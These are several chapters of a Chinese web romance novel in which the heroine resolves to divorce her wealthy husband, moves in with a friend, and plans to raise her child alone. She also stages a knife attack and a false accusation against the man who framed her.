《折堕》
第121章 宋清殊决定离婚
兴许是磨不开面子,盛熙川始终寒着一张脸,静静地看着宋清殊,没有说话。
宋清殊也不在乎盛熙川说不说话,想说什么了。
这半年,她对他的好感,叠加再叠加,已经到了峰值。
为了他,她已经不是自己了。
现在竟然挺庆幸今天过来,直接听到了他的心里话。
她又回到了初见时的模样,眼神没有情绪悲喜,都是陌生。
爱一个人就会被动,不爱,才会无坚不摧。
强压下心里的不适,宋清殊对不在乎的人向来情绪稳定。
“爷爷说你过生日要吃一碗长寿面,这是我做的,可能不如爷爷做的好吃,将就一下吧。”宋清殊说,又把那块表往他的方向推了推,“我看你喜欢理查德,正好没有这一款,就买了。”
心里蒙了一片灰,面上不显,她甚至笑了一下。
盛熙川跟她发了两天脾气,宋清殊哄累了,如今话说到这份上,她竟然少有的轻松。
“谢谢。”盛熙川也白着一张脸开了尊口。
宋清殊又笑了一下:“不客气。照片的事我是被冤枉的,相信您也在查。这期间我们互通有无,一定能有个交代。
现在您家里情况比较特殊,应该也不方便离婚。我会先搬出去住,等……等时机合适了,再办离婚手续。在这期间您放心,我绝对不会出轨。”
既然是为了盛老爷子,那就等老爷子走了再离,宋清殊暂时又没有二婚打算,倒是等得起。
盛熙川张了张嘴,竟然没有说出挽留的话来。
他想说自己不是这个意思。
可5分钟前,他就是这个意思。
他告诉苏白,他后悔了。
看到墙上宋清殊和莫北丞的合照,他嫉妒灭顶。
这个男人注定贯穿宋清殊的一生,他未必顶得住。
宋清殊又开始叫他盛总,用“您”称呼他,好像之前两人的亲密无间都是他的幻觉。
盛熙川心口的疼加深了几分。
他的二十八岁生日,宋清殊送了他这样一份大礼。
“没什么事我就先走了,您工作之余保重身体。”宋清殊说。
她临走时甚至替他关上了办公室门。
那样客气,周到,又疏离。
在走廊里,宋清殊遇到了吴小爱。
有了前几次交锋的经验,吴小爱知道自己落不着好,这次竟然撇了撇嘴没有说话。
但宋清殊抬头对她笑了一下。
“笑什么?”吴小爱警铃大作。
宋清殊:“恭喜你,马上如愿以偿了。”
吴小爱:“盛总同意我做总助了?”
宋清殊:“不,是我和盛总快离婚了。”
吴小爱惊讶地张大嘴巴。
她恰好有事去找盛熙川,便去他的办公室门口探头探脑。
“盛总。”
“滚!”
又一个茶杯摔到办公室门上,粉碎。
碎片溅到吴小爱脸上,她在门口顿了一顿。
白目如吴小爱也意识到,这次问题,真的很严重。
宋清殊回到临江别墅就开始收拾东西。
她东西不多,要拿的也不多。
衣帽间里的衣服,和化妆间里的首饰,大多都是盛熙川送的,物归原主就是。
她只拎了个行李箱,简单收拾了必要的东西,之后去了楼珏家。
她输密码进门,楼珏光脚从卧室里冲出来迎接她,脸上带了点慌乱。
接着,看到了扣错了衬衫扣子的苏白。
宋清殊竟然先红了脸。
“对不起,我……”她囧得不知道该怎么办。
楼珏强装镇定,但红透的耳垂出卖了她。
“我改天再来看你。”苏白忙说,大衣都没穿,就这么走了出去。
宋清殊和楼珏站在她家客厅大眼瞪小眼,彼此都很尴尬。
良久,宋清殊才说:“我还是出去住吧。”
“不用。”楼珏拉她的手,眼神祈求,“等我把这件事理出头绪,再告诉你,好不好?”
宋清殊点头。
楼珏原本就没有事无巨细分享给她的义务。
不知怎么,她能看出楼珏的纠结。
在宋清殊看来,苏白是个很好的人,家境好,工作好,性格也很阳光。
她不知道楼珏有什么顾虑。
难不成是因为苏白是盛熙川的朋友,所以她觉得不好意思?
但她现在泥菩萨过河,自身难保,也顾不上。
“我的事你知道了吧?”这两天她还没来得及说。
楼珏脸上的热度还没退,点点头。
“知道了,苏白刚才说了。”她又用力握了握宋清殊的手,语气真挚,“你想在这里住多久都可以,不要有心理负担!”
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第122章 搬出临江别墅
当天宋清殊便在楼珏家里住了下来。
因为时间比较久,这次她没有选择跟楼珏睡一个被窝,而是把东西放在了次卧。
“真的方便吗?我可能要长住,最快也要三个月搬出去了。”宋清殊问。
之前楼珏单身,宋清殊来住不觉得怎么样,如今,看她和苏白打得火热,很怕自己做这个电灯泡。
“方便的,你就踏踏实实住。”楼珏替她把衣服挂在了衣帽间,又拿了自己最喜欢的四件套给她。
她们两个不来虚的,她说方便就是真方便,宋清殊也不内耗。
只是,楼珏不觉得她会住那么久。
“怎么可能住三个月呢?要不了两天,你们也就和好了。要是三个月还没和好……”那这段关系就危险了。
后面的话,楼珏没说。
宋清殊只是笑着摇头:“不,我准备离婚了。”
楼珏惊讶的瞪大眼睛:“这么突然?前阵子你给我的感觉是要跟他过一辈的。”
前几天两人去医院,宋清殊查出怀孕的时候,楼珏看得出来,她是真的开心。
她那时候的纠结,更多的是违背了初衷的不好意思。
毕竟,天天她之前天天跟楼珏说,要把盛家少夫人当成一项工作来做,不求盛熙川爱她,只求走一步算一步。
嫁给盛熙川对那时的宋清殊来说,是回国跳板罢了。
她很为打了自己的脸不好意思,对盛熙川,却也是真的上心了。
宋清殊垂眼:“这段关系难度系数太高,不是我能驾驭的。我累了。”
不是说盛熙川不好,他比她想象中,已经好了太多。
但宋清殊自认她是一个很怕麻烦的人,如今,这段婚姻的麻烦程度已经超过了她的预期值。
她不怕克服困难升级打怪,可她害怕跟一个个雌竞脑的女人无休止地纠缠。
最主要的是,这样的雌竞是没有尽头的,谁知道会不会到了七老八十再杀出一个广场舞一枝花来,要跟她抢盛熙川呢?
到时候争不过她,又要拿她15岁时喜欢过莫北丞说事,还不够恶心人的!
还有盛熙川的那句——
“我都怕哪天宋清殊怀孕了,有人告诉我孩子是他的!”
这番话,更是直戳在了宋清殊的雷点上。
她的确不像外表那样乖巧,连楼珏都说她是腹黑蔫坏的人,可这算什么,平白怀疑她的人品?
宋清殊觉得寒心。
莫北丞这个埋在他们之间的雷,早爆晚爆,早晚会爆。
新房子里的照片事件,不过是个导火索罢了。
想起房子,更是要感叹命运的玄妙。
难怪说人类一思考,上帝就发笑。
当初买那个房子就是以防有跟盛熙川的这一天,没想到事情竟然会因这个房子而起。
盛熙川生气的理由她也懂——
另一半在自己不知情的情况下,和别的男人搭建了一个爱的小窝,贴满了两人的合影。
再大度也会生气。
即便知道被冤枉也会迁怒:你如果没有喜欢过他,就不会有这种事发生。
她和他各有立场,能理解。
但再这样过下去就没什么意思了。
宋清殊不哭不闹,就这么走了。
盛熙川看着她的背影,失神许久。
他不蠢,并没有全信程宴的鬼话。
宋清殊那样缜密的人,即使真的敢在外悄悄装修个“爱巢”,也不会留临江别墅的座机,生怕他不知道。
盛熙川不过是一次次因莫北丞醋意翻涌,借题发挥罢了。
没人知道他在年少时便喜欢宋清殊。
他永远忘不了那个午后,自己去莫家时见到宋清殊的第一眼。
精致得不像真人的一张脸,顶着一头俏皮的羊毛卷,穿着可爱的蓬蓬裙,两条腿从栏杆的缝隙里伸出来,摇摇晃晃。
那天就是莫北丞将她从自己面前抱走的。
后来他们又短暂的打过几次交道,宋清殊不记得,但每一次盛熙川都印象深刻。
很朦胧的情感,一直不深,却断断续续伴随了很多年。
他跟霓娜短暂的恋爱过,但每逢别人问喜欢什么样的女孩子,脑子里浮现的永远是同一张脸。
正因如此,家里催婚时,他才第一时间想到了宋清殊。
也许他们的感情还是太薄弱了些,经不起风雨。
不像她和莫北丞,有那些刻骨铭心的过往,也更值得推敲。
打开饭盒,宋清殊送来的那碗长寿面已经粘在了一起,分装的汤也有些凉了。
他把汤倒进去,还是低头勉强吃了。
下午,盛熙川去疗养院看老爷子。
“我这种情况又不是一天两天了。清殊来看我红着眼圈也就算了,你怎么也哭丧着脸。”盛老爷子乐呵呵的,完全没有行将就木的悲观。
“长寿面吃了吗?怎么样?”
盛熙川点头:“很好吃。”
“那错不了,毕竟自己老婆做的,情意难得!”盛老爷子说。
盛熙川在心里苦笑了一下,没有跟老爷子争辩。
他不想就这个话题交谈。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!但盛老爷子没有领会。
也许知道自己时日不多了,他看着盛熙川,满肚子话要讲:
“熙川,人人羡慕你生在盛家,说你一出生就有钱有权,什么都不缺。只有爷爷知道,你从小过了多少苦日子,有多么缺爱。你父母从来都不肯把心思放在你身上,没有人关心过你想什么,要什么。”
盛熙川的心酸了一下,面上没什么多余的神情:“都过去了爷爷,不重要。”
“是啊,你也平平安安长大了。”盛老爷子伸出一只手,虚虚地抓盛熙川的手。
盛熙川赶忙往前了一点,将老人的手双手握住。
盛老爷子又说:“好在清殊是个知冷知热的,也是真心喜欢你。年少夫妻的情意最难得,有清殊在,爷爷就是走了也放心。”
心里的酸意蔓延,盛熙川苦笑:“靠谁都不如靠自己,如今我都二十八岁了,难不成还要指望别人照顾。”
“话不能那么说,你们结婚这半年,清殊是怎么对你的,爷爷心里都有数。”盛老爷子说,手上加了点力气,“清殊这孩子,看着软弱,实际上比谁都刚强,骨子里又是一根筋。
她对你真心实意,你也一定要对她好,不要以后让自己后悔。”
盛熙川的眼神闪烁了一瞬,没有多说。
但当晚他回了家。
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第123章 宋清殊:去父留子
盛熙川回到临江别墅,并没有看到太多变化。
宋清殊不管来还是走,都没有带太多的东西,仅有的变化是人不在。
他回去的挺早,在家巡视一圈也没有看到宋清殊的人影。
一直到晚饭时间,看厨房只做了他自己一个人的饭,才忍不住问保姆:“太太呢?”
保姆诧异:“太太走了呀,我以为您知道。”
“走了是什么意思?”盛熙川蹙眉。
宋清殊走的时候倒是跟保姆打过招呼。
她说:“多谢您这段时间的关照,以后我就不回来了。”
这话怎么听怎么奇怪,保姆也不太敢跟盛熙川复述。
保姆嗫喏:“我也没太听明白,太太好用说以后不回来了。”
盛熙川晚饭也没吃,又冷着脸上了楼。
他没吃饭,但宋清殊吃的不错。
楼珏为了哄她开心,带她去吃一家藏在老小区里的铜锅涮肉。
她们这种人,高级餐厅,几万块一克的黑松露吃得多了,反而是人间烟火气,才觉得稀奇。
深秋晚上的天气已经很凉,楼珏给宋清殊围上自己的围巾。
带着她把车停在小区门口,一路步行到那家居民楼改成的餐馆中去。
“有个员工家住这个小区,还是他带我来过。”楼珏说,拉开棉布门帘,轻车熟路地把她往里带。
这家涮肉只有十张桌子,过来吃饭的都是本小区的人,有的直接穿着睡衣就来了。
相比之下,穿高档羊绒大衣的宋清殊和楼珏,反而像是异类。
隔壁桌坐了一家三口,是一对年轻夫妻和他们的女儿。
小女孩胖胖的,看上去也就两三岁,扎了个冲天辫,一直往她们这桌瞧,模样可爱极了。
到后来,干脆跑到了她们身边来。
小女孩的妈妈生怕打扰她们,很不好意思地跟两人道歉。
“没关系,我们很喜欢她。”楼珏说。
宋清殊干脆把小女孩抱起来,让她坐在了自己身边。
小女孩的爸爸也是个很腼腆的人,手里拿了个宝宝辅食碗,里面是像米糊和鸡蛋一样的东西,时不时就凑过来喂一口,再不好意思地笑笑,转回头去跟自己老婆聊天。
后来,一家三口吃完饭走了。
“我那天的胎梦里出现的就是这样一个小孩。”宋清殊突然说。
胖胖的,扎了一个还是两个冲天辫,一逗就笑。
楼珏夹着毛肚的手顿了一顿。
宋清殊柔弱归柔弱,她一旦决定的事,很难更改。
所以她说要离婚,楼珏就无条件相信她一定会离的。
但这个孩子何去何从,她不敢问。
怕她伤心,觉得过往的一切都错付了。
“她来的不是时候。”楼珏说。
宋清殊神色淡淡:“她是我的女儿,什么时候来都是时候。”
楼珏眸色诧异:“你什么意思?”
“在嫁给盛熙川之前,我不是个眼里只有情爱的小女人,对不对?”宋清殊问。
“你当然不是。”别人不了解宋清殊, 楼珏是了解的。
宋清殊何止不是个眼里只有情爱的小女人,楼珏看她滤镜极厚,在楼珏眼里,就算川.普退位,把总统让给她当,她都能把那帮漂亮国鬼佬收拾得服服帖帖。
也就因为如此,楼珏才会在她“陷进去”的时候,觉得慌。
但也不怪她,谁都有上头的时候,她又的确缺爱。
宋清殊:“我之前也想过,这辈子不管是不是结婚都会要一个孩子。我从小漂泊,总觉得缺爱。如果生一个属于自己的女儿,我一定会对她非常好,通过养她,把童年的自己也养一遍。”
说完,她看着楼珏,神色郑重:“我一定能养好她,即便没有父亲,她也一定会是一个人格健全的幸福小孩。 ”
从被人构陷,到跟盛熙川吵架,这一系列事件发生,也不过才3天时间,她没跟任何人商量,已经迅速在心里做了决定。
现在说,也只是通知她一声。
楼珏:“你和盛熙川,没有转圜的余地了?”
宋清殊摇头:“你看到刚才的一家三口了吗?那才是我的理想小家。一个对全世界并没有什么作用,只有老婆孩子需要他的男人,才是我的理想伴侣。
像盛熙川这种全世界都惦记的男人,不适合我。”
看宋清殊认真的模样,楼珏竟然“扑哧”笑出声来:“你猜,刚才那个男人如果知道自己被你评价为对世界没作用的人,他会不会开心?”
宋清殊也笑了。
如今话说开了,不管是楼珏还是宋清殊,竟然都松了口气。
她们一致认为,既然要去父留子,那就不能让任何人知道孩子的存在,知道的人越多越危险。
最危险的就是盛熙川,和他那个老妖婆亲妈。
想了想,后妈也危险,霓娜姐妹更不是省油的灯。
短短半年,经历了这些豪门秘辛,宋清殊觉得,她整个人都老了好几岁。
楼珏:“那你准备准备,等这边没什么事了,换个城市生活一段时间,宝宝大了再回来。”
楼珏总听宋清殊说盛老爷子的好,她也说不出等盛老爷子死了的话来。
但盛老爷子,也就这俩月的事了。
宋清殊眼神暗了暗:“不急,等彻底离了婚,我可以直接换个城市生活。”
她准备趁着月份小去旅游考察一下,找一个合适的城市定下来。
两人吃完聊完,都豁然开朗了。
夜里11点多,宋清殊刚洗漱完躺下,盛熙川的电话打了过来。
她劝好了自己,便没什么情绪地接起来。
“盛总,怎么这么晚找我?”语气温和客气,让人挑不出毛病。
盛熙川一噎,沉默了好一会儿。
见他不说话,宋清殊试探:“要是没什么事,我就挂了。”
盛熙川:“你这是什么意思?现在都不回来睡觉了?”
你不也好几天没回?宋清殊无语地想。
但她没说,说了好像在闹情绪,没必要。
她微笑:“今天白天不是说了,我先搬出来住。现在您的家庭情况应该也不适合离婚,等以后时机适合了,把离婚证领了。”
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第124章 其人之道
宋清殊如果发脾气,哭闹,盛熙川觉得他还有点办法。
可她没有。
她回到了刚认识他的时候,乖顺客气,周到中透着疏离。
盛熙川一愣。
他突然有点下不来台。
“什么时候是合适时机?”他冷冷地问。
宋清殊对盛老爷子是发自内心的敬重,实在不太想说。
“盛总您明知故问,何苦为难我。”她依旧客气。
“您”来“您”去,盛熙川窝火。
他嗤笑一声:“合适的时机就是等爷爷死了,最好舒颜也死了,然后你也走,你们都离开我!”
这话怨气太重,好像他才是被全世界抛弃的那个人。
宋清殊怔了一下,想说舒颜死不死跟她没关系。
却也只是说:“您的身份地位,想要什么没有?就不要说这样的丧气话了。”
她声音里毫无阴阳怪气的情绪,摆明了就事论事。
盛熙川心口像被人压了一块巨石,许久没说出话来。
挺下面子的。
“你别后悔。”他说。
“啪”的一声挂了电话。
宋清殊关了灯,看着周围的一片黑暗,心里有点潮湿。
没什么好后悔的。
最浪漫的爱情她也体验过了,身体里现在有一个属于她的孩子,她回到自己原本规划的路径上去了。
本以为自己会失眠,没想到还好,她不过是稍稍胡思乱想了一会儿,顺利在12:00前睡着了。
在眼睛都睁不开前,宋清殊迷迷糊糊的想,这段婚姻里她收获还是挺多的。
起码,睡眠障碍被盛熙川治好了。
她睡得好,盛熙川却几乎一夜没睡。
他自己窝的那点火消下去了一些,又自我反省了半夜。
程宴那点小手段,他根本没放在眼里,气的是那些照片,是宋清殊和莫北丞的过往!
可苏白说的对,宋清殊本就不该为认识他之前的事负责,是他犯浑,控制不住自己偏要吃醋。
这次的确有些过了。
这件事上两人的感受颗粒度是不齐的。
盛熙川消了气准备做点什么的时候,恰好是宋清殊下定决心放弃这段婚姻的时候。
放弃归放弃,这件事可不能这么算了。
陆夫人查了程宴三天,确定了一件事:他和沈小鸢在交往。
而莫北丞第一时间给了反应,那个照片是沈小鸢之前在他网盘里下载的。
这件事的走向很明确了。
没有转账记录,程宴也未必是被美色迷昏了头。
多半是沈小鸢给程宴画了饼,别的不说,单凭只要他听她的安排,以后就能入赘沈家,对他来说就是致命的诱惑。
沈小鸢已经疯了,想拉着所有人下地狱。
这件事发生后,莫北丞电话找过宋清殊两次。
答应给宋清殊一个交代是一方面,另一方面,他想试探两个人有没有可能。
宋清殊一边装傻一边失望。
她最崇拜的舅舅,怎么成了这个样子。
这件事找出程宴诬陷她又怎么样呢?她和盛熙川之间已经有了裂痕,沈小鸢的目的已经达到了。
不行,她经历的,程宴和沈小鸢必须都尝尝。
宋清殊让陆夫人不要插手,她自己来。
楼珏帮她。
楼珏名下有一处半山别墅,是她爸妈送她的三岁礼物。
她打匿名电话咨询了程宴的装修公司,想要重装。
“我的预算5,000万,如果你们能做的话,麻烦过来实地考察一下,出个设计图。”
程宴的装修公司没有那么大规模,要不然也不会作为亲自去宋清殊那里量房。
他当时激动地马上从办公椅上站了起来。
为了显示公司实力,能被选中,程宴特地租了辆大G,带了两个员工一起。
到了半山别墅的停车场,面前的几十辆千万级豪车,他那辆大G如鸡立鹤群,怎么看怎么上不了台面。
程宴看得不错眼。
这就是真正的豪门生活啊,他马上就要入赘沈家了,这样的日子还会远吗?
他的心情无比激越,对宋清殊的那点愧疚,早就烟消云散了。
有人来停车场接他们,说:“我们大小姐只跟老板谈,麻烦您的员工在外面等一等。”
程宴当然同意了。
他被人带着进了别墅,坐在会客室里等。
不一会儿,门被推开。
他赶忙堆着笑站起来:“您好,我……”
嘴唇黏在牙上,程宴笑不动了。
他看到了皮笑肉不笑的宋清殊,以及站在他身后,又高又飒的楼珏。
“你,你这是什么意思?”程宴莫名觉得恐慌想逃。
“没什么意思,聊聊呀。”宋清殊说。
她步步逼近。
程宴就算再蠢也知道这是个坑,他试图开门往外走。
门被楼珏反锁。
“你们干什么?别,别过来!”程宴眼见着宋清殊从袖子里掏了把水果刀出来。
他不敢动。
来的时候他看了,这个别墅里至少有20个人,还一个个的都是彪形大汉。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!宋清殊捅他一刀也就捅了,他要是敢反抗,估计不能全须全尾回去。
宋清殊步步逼近,手起刀落对着他的小臂就是一刀。
鲜血喷涌出来染红了程宴的衣袖。
他发出杀猪一样的叫声。
此时,宋清殊和楼珏却开始大声拍起了会客室的门。
“救命,救命!”楼珏大喊。
马上有人在外面将门撞坏。
宋清殊白着一张脸,整个人都在抖:“快,帮我报警,程宴想强暴我!”
程宴捂着手臂大惊失色:“宋清殊,你污蔑我!”
楼珏走过去利落地给了他两个耳光:“我都看见了,你这个强奸犯!”
程宴被带去了警局,楼珏的父母很快到了,陆夫人也到了。
没人联系盛熙川,可他跟陆夫人前后脚。
局子里,宋清殊振振有词哭诉。
“原来程宴给我装修房子的时候,就一直想要勾引我。看我不买账还挂那样的照片陷害我,今天没想到在这碰上了,他想对我用强,幸亏桌上有水果刀,我正当防卫保护了自己!”
原本想找出被他构陷的证据是为了保卫婚姻,如今,婚姻她不要了,倒是可以让程宴尝尝百口莫辩的滋味。
楼珏附和:“程宴还反锁了门,我保护不了清殊,真的好害怕。幸亏管家赶来的及时!”
盛熙川则一步步走到程宴面前,神情阴冷如鬼魅。
“说,你哪只手碰了宋清殊?”
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第125章 离婚协议
盛熙川声音不大,看程宴的神情冷漠又清贵。
但程宴依然感觉到了一股寒意。
“我没有,是宋清殊陷害我!”他惊恐地说,甚至要举起三指发誓。
“左手,他是左撇子。”宋清殊冷冷淡淡打断他。
程宴语气急切:“你别乱说,宋清殊,你就是诬陷我!因为我挂那个照片……啊!”
照片的事是盛熙川的罩门,不提还好,提了,他就是找死。
他的左臂被盛熙川捉住,“咔嚓”一声,断了。
冷汗不断地从头上流下来。
程宴大喊:“你这是蓄意伤害,我会起诉你!”
“随意。”盛熙川冷笑一声,“现在左手已经废了,右手还要不要,你自己说了算。不要的话,我不介意帮你。”
程宴疼的又惨叫了几声,说了几句威胁的话。
周围的空气异常安静。
他这才忍着剧痛环视四周,局子里的人都识趣地回避了,周围只有楼珏父母,陆夫人,楼珏,宋清殊和盛熙川。
每个人的神色里都带着上位者的冷漠,居高临下地看着他。
谁都不怕出人命,他们看他的模样,像看个跳梁小丑。
程宴这才发现,自己跟眼前的一群人根本不是一个世界的。
他就算是死在这里,这些高高在上的世家依然不会有什么事。
而且,宋清殊不去无人之处害他,就把他带到明处来,让他体会被人冤枉,却无能为力的滋味。
告诉他,她过去愿意找他装修,是卖老同学个面子,实在是太抬举他。
但他把抬举当成理所应当,还敢构陷她,就是自掘坟墓。
他突然不敢喊叫了,闭上嘴瑟瑟发抖。
“你手机呢,给沈小鸢打电话。”宋清殊冷冷地命令他。
程宴不动,她便又举起了那把带血的水果刀对着他:“快点,别让我说第二遍。”
程宴这才用右手掏出手机,颤抖着手拨号,打了出去。
沈小鸢接起来,很不耐烦:“又怎么了?你就这么急?”
程宴嘴唇抖了抖,还没开口。
宋清殊先发制人:“沈小鸢,程宴说,是你指使的他害我,说只要能把我赶出国去,就让他入赘沈家。”
程宴的脸青白交加,他不知道说什么才好。
这些话他根本没告诉宋清殊,可宋清殊说的没错,沈小鸢就是这么承诺的。
这些上位者,都知道他打得什么算盘。
他们只是看着他表演。
“不,不是我……”程宴嗫喏。
沈小鸢在那边已经破防了。
她继续歇斯底里:“是我让他做得怎么样?那些照片不就是你和莫北丞拍的,还敢做不敢当了?”
随即,又对程宴冷笑,“还有你,程宴,你算什么东西,还想入赘沈家?简直是想瞎了心了。我让你帮我做事是看得起你,你还把我照片发给你那些同事朋友,说我是你未婚妻,也不撒泡尿照照自己!”
沈小鸢在电话里用词无比难听恶毒,但程宴已经不觉得怎样了。
在场的每个人,包括电话里的人,都极其高高在上。
他们出生在罗马,视他如蝼蚁。
他剧烈的发抖,停不下来。
嘴唇上的血色早就退得干净。
宋清殊看着他,笑容沉静:“你看到了吧,我们这些人,哪个想拿捏你,都能把你拿捏的死死的。别的不说,你除了母亲,还有上大学的妹妹,哪个不是软肋?”
她走过来拍程宴的肩,“我原来对你是多么尊重和客气。可你这个人,不懂感恩,把这份尊重和客气,变成了捅向我的刀。”
程宴不敢作声,丧家犬一般的垂着头,这番话也不知听进去了没有。
昔日柔弱无比的大学同学,乖乖女,此时在他面前像个魔鬼。
他们之间有天然的壁垒。
他不择手段要跻身的上流社会,连脚后跟都不给他摸。
他活生生疼晕了过去。
当然,也可能是没脸面对宋清殊,装死。
事情到了这一步基本上也就水落石出了。
程宴就医,盛熙川找人跟他谈和解,都是小事。
“我就说我女儿不会做那样的糊涂事。”陆夫人说,看了一眼盛熙川。
楼夫人附和:“话说开了就好,你们小夫妻也别吵了。”
她不知道宋清殊的打算,有心做和事佬。
宋清殊也不多言语,直到一行人出去,各自上车。
剩下了宋清殊,楼珏和盛熙川。
“我去车里等你。”楼珏对宋清殊说。
宋清殊点点头,留在原地。
对盛熙川道:“程宴没有对我用强,是我和楼珏做局。”
盛熙川:“我知道,他不敢。”
在这件事里,程宴这个小人物从来没被他放在眼里过。
他失控的是那些照片,是宋清殊和莫北丞的过往。
“那今天程宴和沈小鸢的话你也听到了,我的冤屈也算洗脱了。”宋清殊又说。
她语气平静,像在说早饭吃的什么一样,毫无波澜。
可盛熙川知道,她在生气。
就像她说的,程宴有的是软肋,想让他承认这件事是栽赃有的是办法。
但她用了这样耍浑的一招, 就是想其人之道还治其人之身。
人淡如菊,只是她的表象。
她可是那个让沈济臣从海里游回来,丢了半条命的人。
“抱歉,那天是我没有控制住自己,乱发脾气。”盛熙川终于低头说了软话。
“我原谅你了。”宋清殊点点头,一句索取情绪价值的话都没说。
她甚至替他找台阶:“人都有控制不住情绪的时候,难免的。”
宋清殊的淡然成功让盛熙川愣了一下。
她如果生气发火,他可以顺势哄她。
可她没有,她平静得像是什么都没发生过,好像拿着刀子恐吓程宴的也另有其人一般。
盛熙川突然就不会了。
“那天的长寿面,多谢你,还有手表,我也很喜欢。”他给自己找台阶下。
宋清殊又点点头:“应该的,我嫁到盛家的半年,也多谢关照了。”
这话说的成功让盛熙川的脸色僵了下来。
他皱起了眉:“宋清殊,你什么意思?”
宋清殊神色淡淡:“我说的很清楚了盛总,这段婚姻,我不准备继续了。”
她翻包,拿了一份离婚协议出来。
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第126章 失恋只是阵痛
宋清殊把那两页纸递到盛熙川面前去。
说是离婚协议,不如说是要交给律师的离婚委托,内容简单,一式两份。
写着两人自愿解除婚姻关系,姓名身份证号等。
宋清殊把她该签字的地方都签了。
上面只有离婚后不打扰彼此生活的条款,没有关于财产分割的部分。
宋清殊主动解释:“咱们婚前没有财产协议和公证,但我不会要你一分钱。
我知道,盛家给的彩礼比宋家的嫁妆多很多,有点不公平。如果打官司要应该也能索要回来。
但比起那点钱,盛家的面子更重要,盛总不如就大人有大量,让宋家把这点便宜占了,也省得麻烦。”
盛熙川没有接宋清殊递过来的两页纸,他的眉心突突直跳,心口发慌,脸上却看不出异样,只是神情冷得厉害。
两人还没结婚的时候,她就把离婚挂在嘴边,如今这一天还是来了。
闹小脾气还是来真的,盛熙川自认为还是分得清楚。
如果她吵着闹着要离婚,兴许尚有转圜余地。
可现在,她没有。
她把能想到的都想了,包括彩礼嫁妆问题。
盛熙川慌了。
他不知道该怎么办。
或许应该抱住她,求她不要离开他。
可他该死的自尊作祟,说不出口。
他手脚发凉,怔了有半分钟,才缓缓开口:“宋清殊,你咒爷爷死?”
质问的语气一出口,让他后悔得恨不得给自己一巴掌。
宋清殊也被他问得一噎。
刚要自证,又随即想到,盛熙川不过是在无理取闹。
于是,宋清殊稳了稳心神,还带着微笑道:“盛总,您虽然嘴上这么说,但我相信您一定不是这么想的。您是个明白人,我对爷爷什么样,您心里有数。
我不过这个盛家少夫人当够了。
夫妻一场,好聚好散,现在先把这个协议签了。我可以保证,只要爷爷在世一天,离婚的事我一定保密,您看,如何?”
她跟他谈条件,没有感情,只有客气。
盛熙川的心脏像被一只大手攥紧,每一次跳动都带来尖锐的疼痛,他透不过气。
他极力稳住自己的身形,垂在身侧的手绷紧,尽可能心平气和:“宋清殊,非要这样吗?这件事是我不对,想要什么补偿,我都可以给你。”
盛熙川这辈子没有跟谁低过头,能说这话,对于他已经是莫大的突破了。
宋清殊只是摇了摇头。
“不是要补偿的问题,是这个盛家少夫人我不想做了,我要离婚,可以吗?”
她喜欢过莫北丞是既定事实,如果盛熙川在意这件事,基本上无解。
盛家情况复杂,又有一堆女人觊觎盛熙川也是事实,更加无解。
这几天,宋清殊想通了。
人生那么短暂,她不想在内宅里耗了。
她要回到最初规划的路径上去,盛家少夫人,只是个跳板而已。
她要在国内成就自己的一番事业,天高任鸟飞。
眼前的宋清殊,让盛熙川觉得陌生。
她看他,跟看别人没什么不同。
客气,疏离,近在咫尺,却像隔着万水千山。
他那样低声下气,她的眼神依然没有任何松动。
待盛熙川想要再说什么时,楼珏已经把车开了过来。
“盛总,麻烦您……”宋清殊又把文件递过去。
盛熙川的脸色难看到了极点,他冷笑道:“等爷爷真死了,再签也不迟。”
宋清殊点点头,又把文件收了起来:“好,那盛总,我就先回了。”
盛熙川站在原地,没动也没有理她。
他讨厌她这个拒人千里的态度,更讨厌这个因为她的态度,慌了神的自己!
车上,宋清殊很沉默。
楼珏侧头看她,发现她脸上有点伤感,但是不多。
更多的是像在思考什么。
于是,楼珏也不吵她,专心开车。
从局子到住处有半小时的车程,其中有25分钟,两人一句话都没说。
快到小区附近时,宋清殊突然开口:“阿珏,你能找到靠谱的私人侦探吗?”
楼珏一时间没有反应过来,问道:“你要做什么,调查盛熙川吗?”
宋清殊被她的脑回路惊到:“我结婚前都不调查他,都要离婚了,调查他做什么?”
楼珏:“那你好好的怎么要找私家侦探?”
“只是想找人帮我查一下舒颜。”想得太多,宋清殊神色有点凝重,“希望是我多心了,总觉得那天在医院碰见舒颜不是什么好事。
最好查一下和她那两个人的关系,拿她一个把柄在手里,也算是有备无患吧。”
车子慢慢开下地库,楼珏停好了才转头问她:“你怕她对孩子做手脚?”
宋清殊点了点头。
舒颜不见得一定做什么,但她是个疯子,不得不防。
楼珏了然:“我帮你找,放心吧,你还有我,舒颜要对孩子做什么,我第一个不同意。”
看楼珏郑重的模样,宋清殊扑过去抱她:“我就知道,你对我最好了,现在不光想让我女儿认你做干妈,我都想跟着叫了!”
楼珏被她逗笑:“那给小小宝买长命锁,是不是也该给你买一个?”
那份离婚协议,盛熙川没签字。
但在宋清殊心里,她已经单方面离婚了。
当晚,她在朋友圈发了一条仅自己可见的动态——
【你离开了真好,这样我再也不会活在患得患失里了】
她的婚姻就此翻篇。
伤感有一些,但不至于伤筋动骨。
比起“离婚”的沉重,宋清殊觉得,她更像是失恋或者失业。
盛熙川的出现,是生命里短暂的欢愉和阵痛,影响不了人生的主旋律。
是她没恋爱过,所以才上头。
如今过了那个阶段,冷静下来,倒也不觉得后悔。
人生在世,要是没有热烈得爱过一个人,从来没有上头过,也是一件憾事。
她比想象中适应得更好,伤感过后,已经在谋划怎么独自养大肚子里的孩子了。
不能让盛家人知道,最好所有人都不知道。
又过了三天,苏沁给宋清殊发微信。
“清殊姐姐,我明天过14岁生日,你能来吗?”她发了个酒店的位置给她。
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第127章 烟花秀
苏沁生日,盛熙川应该也会去的,他跟苏家兄妹关系很好。
宋清殊直觉,她回避最好。
但如果是苏白替妹妹邀请她,她可以没有任何心理负担地拒绝。
可现在是苏沁本人约她,就很微妙。
毕竟小妹妹帮了她好几次,每次还都是紧要关头。
宋清殊还没回复,苏沁又发了一连串【拜托】的表情过来。
“求求你了,漂亮姐姐,我都告诉同学们有个长得像仙女一样的姐姐要来了。”
她嘴甜得要命。
宋清殊莞尔:“好,我会去的沁沁。”
她给自己找台阶,心说她又没有做什么对不起盛熙川的事,要尴尬也是他尴尬,有什么好躲的。
当天,宋清殊和楼珏一同前往。
因为苏沁玩cosplay,且在圈内小有名气,在电子邀请函里直接写了着装要求:请cos一个角色出席,您可以自备妆造,也可以提前一小时入场,让我们的化妆师为您设计妆造。
